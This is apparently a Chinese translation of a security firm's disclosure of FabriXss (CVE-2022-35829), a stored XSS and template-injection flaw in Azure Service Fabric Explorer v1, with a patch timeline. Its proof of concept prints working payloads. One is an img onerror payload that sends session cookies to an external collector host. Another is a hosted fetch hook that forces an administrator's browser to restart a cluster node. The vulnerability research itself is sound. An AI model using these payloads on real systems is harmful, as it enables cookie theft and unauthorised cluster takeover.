FabriXss（读作“fabrics”）是由位于 Azure Service Fabric Explorer (SFX) 中的漏洞，允许攻击者获得对 Service Fabric 群集的完全管理员权限。
影响范围
如果您使用 Service Fabric Explorer (SFXv1) 版本 8.1.316 或更早版本，则很容易受到此 CVE 的攻击。您应该应用 Microsoft 2022 年 10 月补丁并检查 Service Fabric Explorer SFXv2 URL 是否以“index.html”而不是易受攻击的“old.html”结尾。
什么是 FabriXss 漏洞？
FabriXss 漏洞是在 Service Fabric Explorer (SFX) 中发现的，这是一种用于检查和管理 Azure Service Fabric 群集的工具。SFX 可以在共享仪表板中“托管”多种用户。例如，由组织 X 的管理员维护和控制的 Fabric 集群也可以为其来自同一组织的客户提供服务。
我们发现，拥有通过仪表板“创建新应用程序”的单一权限的Deployer类型用户可以使用该单一权限来创建恶意应用程序名称并滥用管理员权限来执行各种调用和操作。这包括执行集群节点重置，这会清除所有自定义设置，例如密码和安全配置，从而允许攻击者创建新密码并获得完整的管理员权限。
什么是 Azure Service Fabric？
Microsoft Azure Service Fabric是一个分布式系统平台，用于大规模打包、部署和管理无状态和有状态的分布式应用程序和容器。Service Fabric 可在 Windows 和 Linux、任何云、任何数据中心、跨区域或笔记本电脑上运行。
Service Fabric Explorer (SFXv1)
Service Fabric Explorer (SFX) 是用于检查和管理 Microsoft Azure Service Fabric 群集中的云应用程序和节点的应用程序。作为具有不同权限级别的用户的共享仪表板，Service Fabric Explorer 包含多个应用程序和服务，用于多种用途。集群管理员可以创建集群、管理应用程序、服务以及部署或重新启动各种节点和应用程序。
目前，有两个版本的 Service Fabric Explorer：
根据 MSRC 团队的说法，所有新开发都集中在 SFX v2 上，除非它是 V1 的严重错误，否则 V1 将不再更新（SFX v1 正在被弃用）。请注意，我们在 SFX 版本 1 中发现了 FabriXss 漏洞。漏洞参数是部署名称（稍后会详细介绍）。
FabriXss 漏洞的概念证明
下面我们将描述攻击者如何潜在地利用 FabriXss 漏洞获得完整的管理员权限。
第 1 步 – 通过 CSTI（客户端模板注入）执行表达式
通过仪表板 UI（CreateComposeApplication 角色）创建新应用程序时，用户需要提供以下内容：
- 应用名称。
- 上传 yml/yaml 文件或手动添加 yml/yaml 模板。
通过 SFX Github 存储库查看代码时，似乎用户输入是通过 angularJS 模板提供和呈现的。我们可以通过查看以下内容来验证这一点：
https://github1s.com/microsoft/service-fabric-explorer/blob/HEAD/src/Sfx/App/Scripts/Utils/Utils.ts#L112
通常，在处理 angularJS 模板时，我们经常尝试 CSTI/SSTI payload，例如 -
但这里的情况并非如此，我们可以从以下 CSTI payload“ {{7*7}} ”中看到：
一个更复杂的payload，如“ #{7*7} ”正在呈现，但没有作为 angularJS 表达式执行。当“ #{{7*7}} ”payload被发送并被执行时，任何突破的第一个迹象就出现了——
我们可以看到应用程序名称更改为——
这表明我们设法通过 AngularJS 执行了一个模板表达式。
为了验证它，我们可以将以下payload作为 PoC 发送——
但是由于当输入“空格”时用户输入被拒绝，我们将不得不删除它。此外，由于 '$' 也不被接受，我们将对所有内容进行 HTML 编码。最后，我们将添加“#”来转义所有内容，并将payload作为应用程序名称发送 -
#{{x = {'y':'& #x27;.constructor ;.prototype};& #x20;x['y'].charA ;t=[].join;$e& #x76;al('x=alert( ;1)');}}
我们可以看到正在创建应用程序。然后我们点击屏幕右上角的刷新按钮来刷新列表——
第 2 步 – 从 CSTI 突破到存储型 XSS
为了从 CSTI 突破到 XSS，我们需要准确了解应用程序名称是如何创建和格式化的。关注我们当前的有效应用程序（nginx），我们可以看到“ fabric:/ ”被附加到它应该是这样的。
由于我们的应用程序名称是在 <a></a> 标记中设置的，因此我们可以尝试通过添加各种 html 标记来转义它，例如 –
我们从屏幕截图中看到，我们设法摆脱了 angularJS 类，并打开了一个新的 <style></style> 标记，其中的内容（虽然 UI 应用程序名称中缺少）但清楚地呈现在 html 正文中。
下一步是通过发送精心制作的payload来演示它，例如 -
例如发送以下payload-
</a><img/src='1'/onerror="this.src='http:\\/\\/owoenwi0y456m3olxn5j4zgzyq4m3as.oastify.com\\/?c='.concat(document.cookie);this .removeAttribute('onerror');">
将被执行，我们将收到用户当前的会话 Cookie。
关于存储型 XSS 的注意事项——我们发现各种payload被存储并且从未从仪表板中删除，这不一致但工作了好几次。
第 3 步——利用存储的 XSS 并滥用自定义角色（部署者）
由于 Service Fabric Explorer 是共享的，因此客户端（非管理员用户）和管理员都可以同时访问仪表板。我们现在将演示如何使用集群所有者（管理员）权限重新启动节点。
默认情况下，Service Fabric 中有两个权限级别 - 只读和管理员。但是，可以选择修改只读客户端权限以创建自定义用户，该用户不是管理员，但仍能够执行特定任务。
共享 Service Fabric 的常见设置是允许各种用户（客户端）通过仪表板 UI 或 sfctl 工具创建应用程序。为此，我们将设置以下配置：
为了滥用存储型 XSS，我们将在 Deployer 用户（我们的自定义客户端用户）的帮助下创建一个应用程序。接下来，我们尝试滥用管理员角色来重置其中一个节点。
查看
https://github1s.com/microsoft/service-fabric-explorer/blob/HEAD/src/SfxWeb/src/app/services/rest-client.service.ts#L294
我们可以看到，重置 Node 的 API 端点应该类似于以下内容：
[https://{EXPLORER_ENDPOINT}:19080/Nodes/{Node_NAME}{Node_ID}/$/Restart?api-version={API_VERSION}](https://{EXPLORER_ENDPOINT}:19080/Nodes/_{Node_NAME}_{Node_ID}/$/Restart?api-version={API_VERSION}&_x_tr_sl=auto&_x_tr_tl=zh-CN&_x_tr_hl=zh-CN)
我们的payload将经过两个步骤 -
- 通过 Iframe 标签实现，从远程服务器发送对名为fetch.html文件的hook文件的请求。
- 抓取 fetch.html文件后，它将向 Delete Node API Endpoint 发送fetch请求。
“hook”将是一个带有 fetch 功能的 html——
┌──(root㉿kali)-[/var/www/html]
└─# cat fetch.html
<script>
fetch("[<https://privesc.eastus.cloudapp.azure.com:19080/Nodes/_Type375_0/$/
Restart?api-version=3.0>](<https://privesc.eastus.cloudapp.azure.com:19080/Nodes/_Type375_0/$/Restart?api-version=3.0>)",{
"headers": {
"accept": "application/json, text/plain, */*",
"content-type": "application/json;charset=UTF-8",
"sec-fetch-mode": "cors",
"sec-fetch-site": "same-origin",
"sfx-build": "[Dev]",
"sfx-version": "5.7",
"x-servicefabricclienttype": "SFX"
},
"referrer":
[<https://privesc.eastus.cloudapp.azure.com:19080/Explorer/old.html>](<https://privesc.eastus.cloudapp.azure.com:19080/Explorer/old.html>)",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": "{\\"NodeInstanceId\\":\\"133045463907856590\\"}",
"method": "POST",
"mode": "no-cors",
"credentials": "include"
});
</script>
从上面的代码可以看出，我们将重点关注以下Node id-
133045463907856590 ( _TYPE375_0)
我在远程 Kali 机器上启动一个 Apache 服务器，并在/var/www/html/下托管fetch.html ，然后组合所有内容并发送我们的payload。然后将配置 ngrok 服务器并将其映射到我们的 Apache 8080 端口。
为了提供 HTTPS 端点而不仅仅是 HTTP 端点，我们同时使用了 ngrok 和 Apache 服务器（而不仅仅是 Apache）。然后，我们将查看负责创建应用程序的 API 端点，这样我们就可以更轻松地发送payload，并且不需要处理应用程序名称的编码和转义不同的字符。
https://github1s.com/microsoft/service-fabric-explorer/blob/HEAD/src/Sfx/App/Scripts/Controllers/AppsViewController.ts#L113
我们将发送一个演示应用程序来验证 API Endpoint –
我们的漏洞利用：
现在漏洞利用已经准备就绪，我们需要做的就是使用我们当前的 Deployer 用户（Batman）测试payload。我发送了payload，片刻之后按下仪表板中的小刷新按钮（不是浏览器刷新）。“恶意”应用程序将出现，我们的payload将被执行。
现在正如我们所提到的，由于仪表板包含各种类型的用户（客户端和管理员），我们可以通过使用发送的精心设计的payload强制管理员重置其中一个集群节点来展示在这种情况下如何滥用存储的 XSS由我们的部署用户（部署用户自定义角色允许他创建应用程序）。
时间线
- Orca 于 2022 年 8 月 11 日通过 MSRC VDP 向 MSRC 报告了该漏洞
- MSRC 于 2022 年 8 月 16 日返回并开始调查该问题
- MSRC 努力于 2022 年 9 月 1 日删除旧版本
- 2022 年 9 月 6 日与 MSRC 和 Orca 团队通话讨论该漏洞
- MSRC 于 2022 年 10 月 11 日为该漏洞分配了 CVE-2022-35829
- 修复已包含在 2022 年 10 月 11 日星期二的 Microsoft 2022 年 10 月补丁中
原文地址：https://orca.security/resources/blog/fabrixss-vulnerability-azure-fabric-explorer/
